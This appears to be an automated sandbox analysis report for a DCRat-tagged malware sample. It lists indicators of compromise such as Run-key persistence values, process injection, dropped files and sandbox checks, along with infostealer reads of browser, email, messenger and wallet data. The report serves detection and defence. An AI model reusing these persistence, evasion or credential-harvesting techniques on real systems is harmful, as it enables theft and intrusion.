dcrat | b2718252be051e7fbc18b319b31ef746d88407272473a465b673cea0de3c4aad

System Information Discovery

Processes:

SHyxaeshedaci.exekeygen-step-4 — копия.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation	SHyxaeshedaci.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation	keygen-step-4 — копия.exe

Loads dropped DLL 64 IoCs

Processes:

rundll32.exeInstall.tmprundll32.exeSunLabsPlayer.exey1.exesvchost.exec7ae36fa.exe2297.exejhjgcciavjgccirundll32.exerundll32.exelighteningplayer-cache-gen.exe

pid	process
4040	rundll32.exe
2120	Install.tmp
2632	rundll32.exe
6120	SunLabsPlayer.exe
5276	y1.exe
6120	SunLabsPlayer.exe
5276	y1.exe
5276	y1.exe
5276	y1.exe
5276	y1.exe
5264	svchost.exe
4748	c7ae36fa.exe
6120	SunLabsPlayer.exe
6120	SunLabsPlayer.exe
6120	SunLabsPlayer.exe
6120	SunLabsPlayer.exe
6120	SunLabsPlayer.exe
6120	SunLabsPlayer.exe
6120	SunLabsPlayer.exe
6120	SunLabsPlayer.exe
3352	2297.exe
3352	2297.exe
3352	2297.exe
3352	2297.exe
3352	2297.exe
3352	2297.exe
5028	jhjgcci
4368	avjgcci
6120	SunLabsPlayer.exe
6120	SunLabsPlayer.exe
6120	SunLabsPlayer.exe
6120	SunLabsPlayer.exe
6120	SunLabsPlayer.exe
6120	SunLabsPlayer.exe
6120	SunLabsPlayer.exe
6120	SunLabsPlayer.exe
4856	rundll32.exe
5084	rundll32.exe
6120	SunLabsPlayer.exe
6120	SunLabsPlayer.exe
6120	SunLabsPlayer.exe
6120	SunLabsPlayer.exe
6120	SunLabsPlayer.exe
6120	SunLabsPlayer.exe
6120	SunLabsPlayer.exe
8	lighteningplayer-cache-gen.exe
8	lighteningplayer-cache-gen.exe
8	lighteningplayer-cache-gen.exe
8	lighteningplayer-cache-gen.exe
8	lighteningplayer-cache-gen.exe
8	lighteningplayer-cache-gen.exe
8	lighteningplayer-cache-gen.exe
8	lighteningplayer-cache-gen.exe
8	lighteningplayer-cache-gen.exe
8	lighteningplayer-cache-gen.exe
8	lighteningplayer-cache-gen.exe
8	lighteningplayer-cache-gen.exe
8	lighteningplayer-cache-gen.exe
8	lighteningplayer-cache-gen.exe
8	lighteningplayer-cache-gen.exe
8	lighteningplayer-cache-gen.exe
8	lighteningplayer-cache-gen.exe
8	lighteningplayer-cache-gen.exe
8	lighteningplayer-cache-gen.exe

Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

gaoou.exeUltra.exeexplorer.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe"	gaoou.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Windows Sidebar\\Vijifigaxy.exe\""	Ultra.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\waupdat3 = "C:\\Users\\Admin\\AppData\\Roaming\\waupdat3.exe"	explorer.exe

Checks for any installed AV software in registry 1 TTPs 1 IoCs

Security Software Discovery
T1063

Processes:

powershell.exe

description ioc process

Key opened \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\SOFTWARE\KasperskyLab powershell.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\SOFTWARE\KasperskyLab	powershell.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

evasion trojan

System Information Discovery

Processes:

jg6_6asg.exemd1_1eaf.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	jg6_6asg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	md1_1eaf.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

111 api.ipify.org
211 api.myip.com
212 api.myip.com
58 ip-api.com

flow	ioc
111	api.ipify.org
211	api.myip.com
212	api.myip.com
58	ip-api.com

Drops file in System32 directory 10 IoCs

Processes:

svchost.exerundll32.exesvchost.exe

description	ioc	process
File opened for modification	C:\Windows\System32\Tasks\Firefox Default Browser Agent AA8093EDF7933115	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Firefox Default Browser Agent DBDFFD2DFB827CC5	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\uWLqXxKeTaZF	svchost.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	rundll32.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\6G9T2CFX.cookie	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies\6G9T2CFX.cookie	svchost.exe
File opened for modification	C:\Windows\System32\GroupPolicy	rundll32.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	rundll32.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	rundll32.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	svchost.exe

Suspicious use of SetThreadContext 10 IoCs

Processes:

svchost.exeexplorer.exe748A.tmp.exetoolspab1.exe1230843919.exe339802969.exeavjgcciavjgcciavjgcci

description	pid	process	target process
PID 3684 set thread context of 1540	3684	svchost.exe	svchost.exe
PID 4084 set thread context of 3732	4084	explorer.exe	msiexec.exe
PID 1828 set thread context of 4452	1828	748A.tmp.exe	748A.tmp.exe
PID 4084 set thread context of 4892	4084	explorer.exe	msiexec.exe
PID 6020 set thread context of 5264	6020	toolspab1.exe	svchost.exe
PID 4656 set thread context of 2280	4656	1230843919.exe	AddInProcess32.exe
PID 6068 set thread context of 3332	6068	339802969.exe	AddInProcess32.exe
PID 4820 set thread context of 4368	4820	avjgcci	avjgcci
PID 1944 set thread context of 3968	1944	avjgcci	avjgcci
PID 2336 set thread context of 2732	2336	avjgcci	avjgcci

Drops file in Program Files directory 64 IoCs

Processes:

google-game.exeSunLabsPlayer.exeUltra.exepowershell.exedata_load.exexiuhuali.exe

description	ioc	process
File created	C:\Program Files\install.dat	google-game.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libdirectory_demux_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\librawdv_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\mobile.html	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\rockbox_fm_presets.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libnfs_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\audio_output\libadummy_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\logger\libconsole_logger_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\requests\playlist.json	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\requests\status.json	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\intf\http.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\Windows Sidebar\Vijifigaxy.exe	Ultra.exe
File opened for modification	C:\Program Files\install.dll	google-game.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\view.html	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_ffffff_256x240.png	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\images\vlc-48.png	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\modules\dkjson.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libtta_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\misc\libstats_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\spu\libaudiobargraph_v_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\sd\icecast.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\mux\libmux_ps_plugin.dll	SunLabsPlayer.exe
File opened for modification	C:\Program Files (x86)\uWLqXxKeTaZF\uWLqXxKeTaZF.dll	powershell.exe
File created	C:\Program Files (x86)\lighteningplayer\libvlc.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\js\jquery.jstree.js	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\misc\libfingerprinter_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\requests\vlm.xml	SunLabsPlayer.exe
File opened for modification	C:\Program Files\temp_files\uWLqXxKeTaZF.dll	data_load.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\mobile_browse.html	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libdiracsys_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\video_splitter\libpanoramix_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\vimeo.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libvdr_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files\temp_files\data.dll	data_load.exe
File created	C:\Program Files\libEGL.dll	xiuhuali.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\spu\libmosaic_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\librawaud_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lighteningplayer.ico	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\requests\playlist.xml	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libsmb_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libaiff_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\temp_files	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\playlist\youtube.luac	SunLabsPlayer.exe
File created	C:\Program Files\temp_files\bckf.fon	data_load.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libfilesystem_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\packetizer\libpacketizer_mpegvideo_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\libssp-0.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-bg_glass_100_fdf5ce_1x400.png	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\access\libvcd_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libdemuxdump_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\logger\libfile_logger_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libgme_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\spu\libsubsdelay_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\css\ui-lightness\images\ui-icons_ffd27a_256x240.png	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\http\js\ui.js	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\intf\dummy.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\audio_output\libmmdevice_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\control\libnetsync_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libdemux_stl_plugin.dll	SunLabsPlayer.exe
File opened for modification	C:\Program Files\temp_files\bckf.fon	data_load.exe
File created	C:\Program Files (x86)\lighteningplayer\lua\sd\jamendo.luac	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\misc\libgnutls_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\spu\libmarq_plugin.dll	SunLabsPlayer.exe
File created	C:\Program Files (x86)\lighteningplayer\plugins\demux\libnsv_plugin.dll	SunLabsPlayer.exe

Drops file in Windows directory 3 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdge.exeMicrosoftEdge.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

NSIS installer 2 IoCs

installer

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\is15j23a.3jz\SunLabsPlayer.exe	nsis_installer_2
C:\Users\Admin\AppData\Local\Temp\is15j23a.3jz\SunLabsPlayer.exe	nsis_installer_2

Checks SCSI registry key(s) 3 TTPs 24 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

svchost.exec7ae36fa.exejhjgcciavjgccijhjgcciavjgcciavjgccijhjgcci

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	svchost.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	c7ae36fa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jhjgcci
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	avjgcci
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jhjgcci
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	svchost.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	c7ae36fa.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jhjgcci
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	avjgcci
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jhjgcci
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jhjgcci
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	avjgcci
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jhjgcci
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	c7ae36fa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	avjgcci
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	avjgcci
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jhjgcci
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	svchost.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jhjgcci
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	avjgcci
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	avjgcci
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	avjgcci
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	avjgcci
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	jhjgcci

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

svchost.exe748A.tmp.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	748A.tmp.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	748A.tmp.exe

Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2332 timeout.exe
Download via BitsAdmin 1 TTPs 1 IoCs
dropper

BITS Jobs
T1197

Processes:

bitsadmin.exe

pid process

5356 bitsadmin.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

1840 taskkill.exe

pid	process
2332	timeout.exe

pid	process
5356	bitsadmin.exe

pid	process
1840	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 5 IoCs

adware spyware

Modify Registry

Processes:

browser_broker.exeMicrosoftEdgeCP.exebrowser_broker.exebrowser_broker.exeMicrosoftEdge.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdge.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

app.exesvchost.exesvchost.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-591 = "Malay Peninsula Daylight Time"	app.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Classes\Local Settings\MuiCache\16\52C64B7E	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2612 = "Bougainville Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-364 = "Middle East Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2842 = "Saratov Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2631 = "Norfolk Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2322 = "Sakhalin Standard Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2182 = "Astrakhan Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2001 = "Cabo Verde Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	app.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2161 = "Altai Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-112 = "Eastern Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time"	app.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2512 = "Lord Howe Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2771 = "Omsk Daylight Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time"	app.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time"	app.exe
